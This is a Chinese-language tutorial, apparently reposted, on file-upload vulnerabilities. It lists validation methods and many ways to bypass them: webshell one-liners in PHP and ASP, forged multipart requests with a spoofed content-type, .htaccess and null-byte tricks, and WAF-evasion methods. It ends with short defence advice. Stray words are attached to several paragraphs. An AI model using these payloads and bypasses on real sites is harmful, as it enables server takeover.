典型漏洞概括之上传漏洞

时间 2019-12-14

标签典型漏洞概括上传繁體版

原文原文链接

0x01 概要说明

文件上传漏洞能够说是平常渗透测试用得最多的一个漏洞，由于用它得到服务器权限最快最直接。可是想真正把这个漏洞利用好却不那么容易，其中有不少技巧，也有不少须要掌握的知识。俗话说，知己知彼方能百战不殆，所以想要研究怎么防御漏洞，就要了解怎么去利用。此篇文章主要分三部分：总结一些常见的上传文件校验方式，以及绕过校验的各类姿式，最后对此漏洞提几点防御建议。javascript

from : http://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/php

0x02 文件上传校验姿式

客户端javascript校验（通常只校验后缀名）
服务端校验
- 文件头content-type字段校验（image/gif）
- 文件内容头校验（GIF89a）
- 后缀名黑名单校验
- 后缀名白名单校验
- 自定义正则校验
WAF设备校验（根据不一样的WAF产品而定）

1.客户端校验

　　通常都是在网页上写一段javascript脚本，校验上传文件的后缀名，有白名单形式也有黑名单形式。
　　判断方式：在浏览加载文件，但还未点击上传按钮时便弹出对话框，内容如：只容许上传.jpg/.jpeg/.png后缀名的文件，而此时并无发送数据包。html

2.服务端校验

2.1 content-type字段校验

　　这里以PHP代码为例，模拟web服务器端的校验代码java

<?php
        if($_FILES['userfile']['type'] != "image/gif")  #这里对上传的文件类型进行判断，若是不是image/gif类型便返回错误。
                {   
                 echo "Sorry, we only allow uploading GIF images";
                 exit;
                 }
         $uploaddir = 'uploads/';
         $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
         if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
             {
                 echo "File is valid, and was successfully uploaded.\n";
                } else {
                     echo "File uploading failed.\n";
    }
?>

能够看到代码对上传文件的文件类型进行了判断，若是不是图片类型，返回错误。linux

2.2 文件头校验

　　能够经过本身写正则匹配，判断文件头内容是否符合要求，这里举几个常见的文件头对应关系：
（1） .JPEG;.JPE;.JPG，”JPGGraphic File”
（2） .gif，”GIF 89A”
（3） .zip，”Zip Compressed”
（4） .doc;.xls;.xlt;.ppt;.apr，”MS Compound Document v1 or Lotus Approach APRfile”web

0x03 文件上传绕过校验姿式

客户端绕过（抓包改包）
服务端绕过
- 文件类型
- 文件头
- 文件后缀名
配合文件包含漏洞绕过
配合服务器解析漏洞绕过
CMS、编辑器漏洞绕过
配合操做系统文件命名规则绕过
配合其余规则绕过
WAF绕过

1.客户端绕过

　　能够利用burp抓包改包，先上传一个gif类型的木马，而后经过burp将其改成asp/php/jsp后缀名便可。shell

2.服务端绕过

2.1 文件类型绕过

　　咱们能够经过抓包，将content-type字段改成image/gifwindows

POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原为 Content-Type: text/plain)
<?php system($_GET['command']);?>
--xYzZY-

2.2 文件头绕过

　　在木马内容基础上再加了一些文件信息，有点像下面的结构
GIF89a<?php phpinfo(); ?>安全

2.3 文件后缀名绕过

前提：黑名单校验
黑名单检测：通常有个专门的 blacklist 文件，里面会包含常见的危险脚本文件。
绕过方法：
（1）找黑名单扩展名的漏网之鱼 - 好比 asa 和 cer 之类
（2）可能存在大小写绕过漏洞 - 好比 aSp 和 pHp 之类
能被解析的文件扩展名列表：
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee服务器

3.配合文件包含漏洞

前提：校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。
绕过方式：（这里拿php为例，此漏洞主要存在于PHP中）
（1）先上传一个内容为木马的txt后缀文件，由于后缀名的关系没有检验内容；
（2）而后再上传一个.php的文件，内容为<?php Include(“上传的txt文件路径”);?>
此时，这个php文件就会去引用txt文件的内容，从而绕过校验，下面列举包含的语法：

#PHP    
<?php Include("上传的txt文件路径");?> 
#ASP    
<!--#include file="上传的txt文件路径" -->
#JSP    
<jsp:inclde page="上传的txt文件路径"/>
or  
<%@include file="上传的txt文件路径"%>

4.配合服务器解析漏洞

http://www.cnblogs.com/shellr00t/p/6426856.html

5.配合操做系统文件命令规则

（1）上传不符合windows文件命名规则的文件名
　　test.asp.
　　test.asp(空格)
　　test.php:1.jpg
　　test.php::$DATA
　　shell.php::$DATA…….
会被windows系统自动去掉不符合规则符号后面的内容。
（2）linux下后缀名大小写
在linux下，若是上传php不被解析，能够试试上传pHp后缀的文件名。

6.CMS、编辑器漏洞

（1）CMS漏洞：好比说JCMS等存在的漏洞，能够针对不一样CMS存在的上传漏洞进行绕过。
（2）编辑器漏洞：好比FCK，ewebeditor等，能够针对编辑器的漏洞进行绕过。
可参考如下连接

https://www.leavesongs.com/PENETRATION/UseOfFckeditor.html
http://shack2.org/article/183.html
http://www.cnbraid.com/2015/fckeditor.html
https://docs.google.com/document/d/1w_61xR8U7nmn4Y0CvBHpG1uFIU2ORx69QnqTxQt8Km0/edit?pli=1

7.配合其余规则

（1）0x00截断：基于一个组合逻辑漏洞形成的，一般存在于构造上传文件路径的时候
　　test.php(0x00).jpg
　　test.php%00.jpg
　　路径/upload/1.php(0x00)，文件名1.jpg，结合/upload/1.php(0x00)/1.jpg
伪代码演示：

name= getname(httprequest) //假如这时候获取到的文件名是 help.asp.jpg(asp 后面为 0x00)
type =gettype(name)        //而在 gettype()函数里处理方式是从后往前扫描扩展名，因此判断为 jpg
if(type == jpg)
   SaveFileToPath(UploadPath.name, name)   //但在这里倒是以 0x00 做为文件名截断
//最后以 help.asp 存入路径里

（2）.htaccesss

上传当前目录的.htaccess 文件

例如内容为： AddType application/x-http-php .jpg (上传的jpg 均以php执行)

把.htaccess 上传后，且上传成功后，再上传内容为一句话的jpg文件

8.WAF绕过

8.1 垃圾数据

　　有些主机WAF软件为了避免影响web服务器的性能，会对校验的用户数据设置大小上限，好比1M。此种状况能够构造一个大文件，前面1M的内容为垃圾内容，后面才是真正的木马内容，即可以绕过WAF对文件内容的校验；

固然也能够将垃圾数据放在数据包最开头，这样即可以绕过对文件名的校验。

能够将垃圾数据加上Content-Disposition参数后面，参数内容过长，可能会致使waf检测出错。

8.2 filename

针对早期版本安全狗，能够多加一个filename

或者将filename换位置，在IIS6.0下若是咱们换一种书写方式，把filename放在其余地方：

8.3 POST/GET

有些WAF的规则是：若是数据包为POST类型，则校验数据包内容。
此种状况能够上传一个POST型的数据包，抓包将POST改成GET。

8.4 以上方式

针对WAF，以上介绍的服务器解析漏洞、文件包含漏洞等均可以尝试绕过。

8.5 利用waf自己缺陷

删除实体里面的Conten-Type字段

第一种是删除Content整行，第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c，将.php加c后面便可，可是要注意额，双引号要跟着c.php。

正常包：Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
构造包：Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"

删除Content-Disposition字段里的空格

增长一个空格致使安全狗被绕过案列：
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
尝试在boundary后面加个空格或者其余可被正常处理的字符：
boundary= —————————47146314211411730218525550

修改Content-Disposition字段值的大小写

Boundary边界不一致

每次文件上传时的Boundary边界都是一致的：

Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--

但若是容器在处理的过程当中并无严格要求一致的话可能会致使一个问题，两段Boundary不一导致得waf认为这段数据是无心义的，但是容器并无那么严谨：
Win2k3 + IIS6.0 + ASP

文件名处回车

多个Content-Disposition

在IIS的环境下，上传文件时若是存在多个Content-Disposition的话，IIS会取第一个Content-Disposition中的值做为接收参数，而若是waf只是取最后一个的话便会被绕过，Win2k8 + IIS7.0 + PHP

利用NTFS ADS特性

ADS是NTFS磁盘格式的一个特性，用于NTFS交换数据流。在上传文件时，若是waf对请求正文的filename匹配不当的话可能会致使绕过

文件重命名绕过

若是web程序会将filename除了扩展名的那段重命名的话，那么还能够构造更多的点、符号等等。

特殊的长文件名绕过

文件名使用非字母数字，好比中文等最大程度的拉长，不行的话再结合一下其余的特性进行测试：
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

反删除

将下图file1改为了file4，这样就不会把这个文件删除了。（JCMS漏洞）

文件校验的几点建议

文件扩展名服务端白名单校验。
文件内容服务端校验。
上传文件重命名。
隐藏上传文件路径。

　　以上几点，能够防护绝大多数上传漏洞，可是须要跟服务器容器结合起来。若是解析漏洞依然存在，那么没有绝对的安全。